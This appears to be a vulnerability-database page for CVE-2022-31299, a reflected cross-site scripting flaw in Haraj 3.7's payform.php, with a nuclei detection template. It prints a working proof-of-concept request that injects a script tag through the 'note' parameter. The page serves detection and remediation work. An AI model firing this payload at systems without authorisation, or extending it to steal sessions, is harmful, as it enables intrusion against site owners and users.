Browse / CVEs / CVE-2022-31299
CVE-2022-31299· angtech / haraj· CWE-79
Haraj 3.7 - Cross-Site Scripting
Haraj 3.7 contains a cross-site scripting vulnerability in the User Upgrade Form. An attacker can inject malicious script and thus steal authentication credentials and launch other attacks.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
Fix
To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
How to confirm it
Send: GET {{BaseURL}}/payform.php?type=upgrade&upgradeid=1&upgradegd=6&price=123&t=1¬e=%3C/textarea%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains "><script>alert(document.domain)</script></textarea>" and "content=\"nextHaraj" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2022-31299 -u <target>
The full check
id: CVE-2022-31299
info:
name: Haraj 3.7 - Cross-Site Scripting
author: edoardottt
severity: medium
description: |
Haraj 3.7 contains a cross-site scripting vulnerability in the User Upgrade Form. An attacker can inject malicious script and thus steal authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
reference:
- https://github.com/bigzooooz/CVE-2022-31299
- https://angtech.org
- https://nvd.nist.gov/vuln/detail/CVE-2022-31299
- https://angtech.org/product/view/3
- https://github.com/trhacknon/Pocingit
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-31299
cwe-id: CWE-79
epss-score: 0.05139
epss-percentile: 0.92475
cpe: cpe:2.3:a:angtech:haraj:3.7:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: angtech
product: haraj
tags: cve,cve2022,haraj,xss,angtech,vuln
http:
- method: GET
path:
- "{{BaseURL}}/payform.php?type=upgrade&upgradeid=1&upgradegd=6&price=123&t=1¬e=%3C/textarea%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '><script>alert(document.domain)</script></textarea>'
- 'content="nextHaraj'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://github.com/bigzooooz/CVE-2022-31299
- https://angtech.org
- https://nvd.nist.gov/vuln/detail/CVE-2022-31299
- https://angtech.org/product/view/3
- https://github.com/trhacknon/Pocingit
Use this check only on systems you are authorised to test. Where the data comes from